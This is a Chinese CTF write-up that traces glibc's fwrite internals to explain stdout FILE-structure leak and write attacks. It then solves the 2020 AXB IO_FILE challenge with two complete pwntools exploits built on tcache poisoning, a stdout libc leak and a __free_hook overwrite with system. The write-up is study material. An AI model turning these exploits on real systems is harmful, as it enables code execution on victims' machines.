基于攻击对fwrite函数的跟踪

fwrite

功能:
C 库函数 size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) 把 ptr 所指向的数组中的数据写入到给定流 stream 中。
申明:由于整个操作分支众多,这里主要讲题目中最常见的那种情况:setvbuf后经过了一次printf或puts之类的输出,我要进行IO攻击的情况

    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7ffff7dd56a3, 
    _IO_read_end = 0x7ffff7dd56a3, 
    _IO_read_base = 0x7ffff7dd56a3, 
    _IO_write_base = 0x7ffff7dd56a3, 
    _IO_write_ptr = 0x7ffff7dd56a3, 
    _IO_write_end = 0x7ffff7dd56a3, 
    _IO_buf_base = 0x7ffff7dd56a3, 
    _IO_buf_end = 0x7ffff7dd56a4, 

libc中为_IO_fwrite

#include "libioP.h"
# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
  _IO_size_t request = size * count; //需要输出的字符串总数
  _IO_size_t written = 0;  //已经输出的量
  CHECK_FILE (fp, 0);
  if (request == 0)
    return 0;
  _IO_acquire_lock (fp);
  if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
    written = _IO_sputn (fp, (const char *) buf, request);
  _IO_release_lock (fp);
  /* We have written all of the input in case the return value indicates
     this or EOF is returned.  The latter is a special case where we
     simply did not manage to flush the buffer.  But the data is in the
     buffer and therefore written as far as fwrite is concerned.  */
  if (written == request || written == EOF)
    return count;
  else
    return written / size;
}
libc_hidden_def (_IO_fwrite)

我们需要注意的:

  • _IO_acquire_lock (fp)加锁,应对多线程资源共享的问题
  • 主要检查:
    • _IO_vtable_offset :检查fp的_vtable_offset成员,不能为0
  • 执行_IO_sputn 也就是_IO_new_file_xsputn

_IO_new_file_xsputn

#define _IO_LINE_BUF 0x200
#define _IO_CURRENTLY_PUTTING 0x800
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;   //用户字符串数组
  _IO_size_t to_do = n;  //需输出的量
  int must_flush = 0;
  _IO_size_t count = 0;

  if (n <= 0)
    return 0;
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */

  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF)) && (f->_flags & _IO_CURRENTLY_PUTTING))   //一般的stdout flag成员不能通过判断
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      [....]
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)  /*判断是否还有输出缓冲区*/
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. 输出缓冲区可用空间*/

  /* Then fill the buffer. 还有缓冲区,则使用*/
  if (count > 0)
    {
      if (count > to_do)  //缓冲区充足,切割需要的(to_do)
        count = to_do;
     /*根据_IO_write_ptr将数据拷贝到缓冲区*/
#ifdef _LIBC  //一般是1
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
      memcpy (f->_IO_write_ptr, s, count);
      /*缓冲区切割*/
      f->_IO_write_ptr += count;
#endif
      s += count;
      to_do -= count;//减少对应需求
    }
  if (to_do + must_flush > 0)  //must_flush 一般为0,也就是如果需求 > 0
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer.执行_IO_OVERFLOW 建立或刷新缓冲区 */
      if (_IO_OVERFLOW (f, EOF) == EOF)
    /* If nothing else has to be written we must not signal the
           caller that everything has been written.  */
        return to_do == 0 ? EOF : n - to_do;

      /* Try to maintain alignment: write a whole number of blocks.  */
      block_size = f->_IO_buf_end - f->_IO_buf_base;//整个stdout buf的大小 
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);  //后面这个三目运算一般取0因为block_size大部分情况为1

      if (do_write) 
        {
          count = new_do_write (f, s, do_write);   //直接不通过缓冲区直接将源字符串输出,不可以用作数据泄露
          to_do -= count;
          if (count < do_write)
            return n - to_do;
        }

      /* Now write out the remainder.  Normally, this will fit in the
     buffer, but it's somewhat messier for line-buffered files,
     so we let _IO_default_xsputn handle the general case. */
      if (to_do)
    to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

这个函数之所以是众多输出函数和核心,是因为他是用来调度输出缓冲区的相关函数来处理用户各种输出需求。由于用户需求的不同以及输出缓冲区情况不同,分支众多。
一般过程:

  • 根据f->_IO_write_end > f->_IO_write_ptr判断是否还有输出缓冲区
    • 有则计算其大小count = f->_IO_write_end - f->_IO_write_ptr
      • 如果count充足(当然是对_IO_write_ptr进行覆盖后)
        • 将数据拷贝到_IO_write_ptr所指向的缓冲区,需求置零
          • PWN!数据写入:所以只要将_IO_write_ptr和_IO_write_end完全控制,配合fwrite或fputs,puts函数就能任意地址写。当然这些输出函数必须是输出用户可控的数据
          • 上面的情况比较理想,如果遇到不理想的情况,比如说只能覆盖_IO_write_ptr几个字节,那么可以选择覆盖到__malloc_hook,或者其他低地址的关键数据
      • count不足
        • 拷贝一定量用户数据到恰好填满缓冲区,对应的需求减少count
    • 没有就没有喽
  • 继续:如果需求大于0(结合上面一开始的判断,和操作,应该就明白程序走到这一步就代表着:缓冲区满了或无缓冲区
    • 执行_IO_OVERFLOW(也就是_IO_new_file_overflow )

我们就先开启一个函数分支:_IO_new_file_overflow

_IO_new_file_overflow (缓冲区满了或无缓冲区的象征)

# define EOF (-1)
#define _IO_NO_READS 4 /* Reading not allowed 标志位:不可读*/
#define _IO_NO_WRITES 8 /* Writing not allowd 标志位:不可写*/
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) /*IO 缓冲区的大小*/
#define _IO_in_backup(fp) ((fp)->_flags & _IO_IN_BACKUP)
#define _IO_IN_BACKUP 0x100
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR 需要bypass*/   
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)  //不进入,如果进入不可能泄露地址
    {
          /* Allocate a buffer if needed. */
          if (f->_IO_write_base == NULL)   
        {
          _IO_doallocbuf (f);
          _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
        }
          /* Otherwise must be currently reading.
         If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
         logically slide the buffer forwards one block (by setting the
         read pointers to all point at the beginning of the block).  This
         makes room for subsequent output.
         Otherwise, set the read pointers to _IO_read_end (leaving that
         alone, so it can continue to correspond to the external position). */
          if (__glibc_unlikely (_IO_in_backup (f)))  //不进入
        {
          size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
          _IO_free_backup_area (f);
          f->_IO_read_base -= MIN (nbackup,
                       f->_IO_read_base - f->_IO_buf_base);
          f->_IO_read_ptr = f->_IO_read_base;
        }

          if (f->_IO_read_ptr == f->_IO_buf_end)
            f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
          f->_IO_write_ptr = f->_IO_read_ptr;
          f->_IO_write_base = f->_IO_write_ptr;   //<=======
          f->_IO_write_end = f->_IO_buf_end;
          f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

          f->_flags |= _IO_CURRENTLY_PUTTING;
          if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
        f->_IO_write_end = f->_IO_write_ptr;
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,    //<=========
             f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
              f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

如果进入if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL),无论如何都会进行: f->_IO_write_base = f->_IO_write_ptr,所以下面的_IO_do_write 的to_do等于0不会执行输出,所以这里我觉得_IO_new_file_overflow 无法进行泄露
所以可以设置f->_flags绕过那个大的代码块。
进入_IO_do_write ,只要_IO_write_base小于_IO_write_ptr 就会将_IO_write_base指向的数据输出,但是里面有一个_IO_SYSSEEK,如果(fp->_IO_read_end != fp->_IO_write_base)则不进行write的系统调用

  • pwn\!:所以要实现地址泄露,如果能控制FILE结构体就只要构造:
    • fp->_IO_read_end == fp->_IO_write_base,_IO_write_base指向目标地址进行泄露
    • _flags用stdout本身的就行
  • PWN!:如果 没有上面那么好的条件也是可以绕过_IO_SYSSEEK的执行的,如下:只要构造_flags |= _IO_IS_APPENDING即可,即修改一下_flags
    #define _IO_IS_APPENDING 0x100
      _IO_size_t count;
    if (fp->_flags & _IO_IS_APPENDING)
      fp->_offset = _IO_pos_BAD;
    else if (fp->_IO_read_end != fp->_IO_write_base)
      {
        _IO_off64_t new_pos
      = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
        if (new_pos == _IO_pos_BAD)
      return 0;
        fp->_offset = new_pos;
      }

小结

  • stdout写入数据的最低要求,可以覆盖stdout结构体的_IO_write_ptr几个字节(情况而定如果想控制程序执行流选择覆盖为__malloc_hook)
  • stdout地址泄露的最低要求,可以覆盖_IO_write_base几个字节(情况而定一般可以覆盖为stderr->vtable地址,来泄露libc)并且构造_flags |= _IO_IS_APPENDING
    注意这是适用于大部分输出函数的:
    fwrite ► f 0     7ffff7b137a0 write
     f 1     7ffff7aa96df _IO_new_file_write+143        <====
     f 2     7ffff7aa8ce3 new_do_write+51            <====
     f 3     7ffff7aa9ce6 __GI__IO_file_xsputn+390    <====
     f 4     7ffff7a9f99b fwrite+219
    printf (simple)
    ► f 0     7ffff7b137a0 write
     f 1     7ffff7aa96df _IO_new_file_write+143
     f 2     7ffff7aa8ce3 new_do_write+51
    f 3     7ffff7aa9ce6 __GI__IO_file_xsputn+390
    f 4     7ffff7aa0918 puts+168  
    puts
    ► f 0     7ffff7b137a0 write
     f 1     7ffff7aa96df _IO_new_file_write+143
     f 2     7ffff7aa8ce3 new_do_write+51
     f 3     7ffff7aa9ce6 __GI__IO_file_xsputn+390
     f 4     7ffff7aa0918 puts+168
    这三个的调用流程是一模一样的,稍微不一样的记得先看看源码对比一下

2020–AXB–IO_FILE

checksec
[*] '/home/matrix/PWN/AXB/IO_FILE/attachment/IO_FILE'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

只开起了NX

IDA

整个程序就只有add,delete,和exit,那么要泄露地址应该要通过IO攻击,这让我深刻明白我的IO学的有多烂,所以就自己跟了一次源码

      if ( choice != 2 )
        break;
      del();                                    // 只free了description_chunk未进行指针置零
    }
    if ( choice == 3 )
    {
      puts("bye bye ");
      exit(0);
    }
    if ( choice == 1 )
      add();                                    // malloc(0x10)指针记录在bss段
    else

关键在del函数未进行指针置零:

void del()
{
  unsigned int index; // [rsp+Ch] [rbp-4h]

  printf("index:");
  index = read_num();
  if ( index > 9 )
  {
    puts("Invalid index");
    exit(0);
  }
  free(*heap[index]);   //<===============
}

环境是glibc2.27那么这个题考察的就是tcache和IO的漏洞配合

数据结构:

思路

从要在tcache中泄露libc地址,方法很明确就是free8次,恰好这里指针未置零。先add一个较大的chunk(add(0xa0),和一个fastbin小chunk(add(0x10))防止于topchunk合并。free第一个chunk8次后:

tcachebins
0xb0 [  7]: 0x16fc280> 0x7fde0299fca0 (main_arena+96)> 0x16fc370 <0x0

之后再次进行add(0x10),由于tcache,fastbin,smallbin中都没有一样的chunk,而unsortedbin中的chunk不可切割(因为unsorted bin中有且仅有一个last remainder才可以进行切割),所以触发unsortedbin遍历放入smallbin中,由于在largbin中没有合适的chunk进行map遍历,获取smallbin中的那个chunk并进行切割(0x20),剩下的放入unsortedbin(有且仅有一个last remainder)之后的切割对unsortedbin进行。所以add(0x10)会在第一个chunk中一共切割出0x40的空间,而且是将其看作非tcache chunk进行的,所以就篡改了tcachebins 0xb0的指向,所以将main_arena+96指针覆盖为指向IO_2_1_stdout(add(0x10,’\x60\x37’)):

tcachebins#显然这里需要爆破一位数,可以在本地关闭ASLR
0xb0 [  7]: 0x603280> 0x6032a0> 0x7ffff7dd3760 (_IO_2_1_stdout_) <0xfbad2887

然后获取_IO_2_1_stdout_写入权后,覆盖_IO_write_base的最后一位指向_IO_2_1_stderr->vtable,达到泄露的目的。需要注意的是在进行覆盖时我们不知道libc地址所以只能进行最差条件下的覆盖,即如下伪造:

_flags(原flags) |= _IO_IS_APPENDING(0x100)  #绕过SYSSEEK
_flags |= _IO_CURRENTLY_PUTTING(0x800)  #绕过_IO_OVERFLOW 的if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) 

在进行泄露地址之前,将index 4的chunksize位覆盖为0xf1,这样我们释放它时就不会放入那个已经free8次的链表中,可以进行tcache攻击控制程序执行流。

EXP

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: 2020.11.25 19.48.14
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
from FILE import*

context.arch = 'amd64'

def add(size,cont):
        sh.sendlineafter('>\n','1')
        sh.sendlineafter('size:\n',str(size))
        sh.sendafter('description:',str(cont))

def delete(index):
        sh.sendlineafter('>\n','2')
        sh.sendlineafter('index:',str(index))

def exit():
        sh.sendlineafter('>\n','3')

def show_addr(name,addr):
        log.success('The '+str(name)+' Addr:' + str(hex(addr)))

host = '1.1.1.1'
port = 10000
local = 0
if local:
    context.log_level = 'debug'
    libc=ELF('/glibc/x64/2.27/lib/libc-2.27.so')
    elf = ELF('./IO_FILE')
    #sh = process('./IO_FILE')
else:
    context.log_level = 'debug'
    libc=ELF('libc.so.6')
    elf = ELF('./IO_FILE')
    #sh = remote('axb.d0g3.cn',20102)

def pwn():
#usefull : add delete 
    add(0xa0,'/bin/sh\x00')          #0
    add(0x20,p64(0xdeadbeef)*2) #1  防止合并
    for i in range(8):
        delete(0)            #0xb0
    add(0x10,'\x60\x37')    #2
    add(0xa0,'/bin/sh\x00'.ljust(0x18,'A')+p64(0xf1))
    add(0xa0,'\n')
    payload = p64(0xfbad3887) + p64(0)*3 + p8(0x58)
    add(0xa0,payload)
    libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - libc.sym['_IO_file_jumps']
    if (libc_addr == - libc.sym['_IO_file_jumps']):
        sh.close()
    free_hook = libc_addr + libc.sym['__free_hook']
    malloc_hook = libc_addr + libc.sym['__malloc_hook']
    system_addr = libc_addr + libc.sym['system']
    show_addr('malloc_hook',malloc_hook)
    show_addr('free_hook',free_hook)
    show_addr('system_addr',system_addr)
    show_addr('libc_addr',libc_addr)
    for i in range(2):
        delete(4)
    add(0xe0,p64(free_hook))
    add(0xe0,'\n')
    add(0xe0,p64(system_addr))
    delete(0)
    sh.interactive()
'''
Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7ffff7dd2c0d
prev_size: 0x7f
size: 0x7f
fd: 0x00
'''    

if __name__ == '__main__':
    while True:
        try:
            sh = remote('axb.d0g3.cn',20102)
            pwn()
        except:
            sh.close()

Official EXP

其实这题应该是我的思路狭窄了,只想到了unsortedbin chunk获取libc地址,在关闭缓冲区时,其实bss段中的全局变量就已经包含了libc地址,所以最恰当的做法是double free后篡改链表到bss段
获取stdout_chunk,泄露libc,再次double free向free_hook写入system

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: 2020.11.25 19.48.14
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
from FILE import*

context.arch = 'amd64'

def add(size,cont):
        sh.sendlineafter('>\n','1')
        sh.sendlineafter('size:\n',str(size))
        sh.send(str(cont))

def delete(index):
        sh.sendlineafter('>\n','2')
        sh.sendlineafter('index:',str(index))

def exit():
        sh.sendlineafter('>\n','3')

def show_addr(name,addr):
        log.success('The '+str(name)+' Addr:' + str(hex(addr)))


host = '1.1.1.1'
port = 10000
local = 1
if local:
    context.log_level = 'debug'
    libc=ELF('/glibc/x64/2.27/lib/libc-2.27.so')
    elf = ELF('./IO_FILE')
    #sh = process('./IO_FILE')
else:
    context.log_level = 'debug'
    libc=ELF('libc.so.6')
    elf = ELF('./IO_FILE')
    #sh = remote('axb.d0g3.cn',20102)

def pwn():
#usefull : add delete 
    add(0x40,'\n')
    delete(0)
    delete(0)
    add(0x40,p64(0x602080))
    add(0x40,'\x40')
    add(0x40,'\x40')
    payload = p64(0xfbad1887) + p64(0)*3 + '\x58'
    #gdb.attach(sh,'b*new_do_write')
    add(0x40,payload)
    libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - libc.sym['_IO_file_jumps']
    free_hook = libc_addr + libc.sym['__free_hook']
    system_addr = libc_addr + libc.sym['system']
    show_addr('libc_addr',libc_addr)
    show_addr('free_hook',free_hook)
    show_addr('system_addr',system_addr)

    add(0x50,'\x50')
    #gdb.attach(sh)
    delete(5)
    delete(5)
    add(0x50,p64(free_hook))
    add(0x50,'/bin/sh\x00')
    add(0x50,p64(system_addr))
    #gdb.attach(sh)
    delete(7)
    sh.interactive()

if __name__ == '__main__':
    while 1:
        try:
            sh = process('./IO_FILE')
            pwn()
        except:
            sh.close()

但是用这个方法的时候遇到一个小问题:
前面malloc获得_IO_2_1_stdout的chunk后rsi就是0xfbad2887然而在调用printf的时候进入vfprintf并没有执行,也就是没有输出,当时我以为是我脚本的问题,就没用这个方法了

0x400951 <add+345>    call   printf@plt <printf@plt>
        format: 0x400ba5 <'description:'
        vararg: 0xfbad2887

小结

  • 读源码是是一个好习惯,之前都没怎么理解这些构造方法,不能仅仅就看看大佬的文章
  • 这个题除了IO_FILE攻击还有就是tcache 的free chunk转移:篡改其size,使其free后放入另一个链表,从2019_realloc_magic获得的启发
    • 其实这两题应该是一样的,2019_realloc_magic用的是realloc函数会进行chunk合并达到了chunk extends
      • 总之就是在tcacha中多次free 使操作对象成为unsortedbin chunk而不是tcache,达到chunk extends的目的

 上一篇
2020--AXB 2020--AXB
IO_FILEchecksec[*] '/home/matrix/PWN/AXB/IO_FILE/attachment/IO_FILE' Arch: amd64-64-little RELRO: Partial
下一篇 
Sandbox Sandbox
沙箱因为用户层对数据的一切操作到底都是需要通过系统调用来完成的,那么只要对某些危险的系统调用进行限制,用户层的程序就比较难进行恶意的系统调用 seccommpshort for secure computing mode(wiki)是一种限
2020-11-23
  目录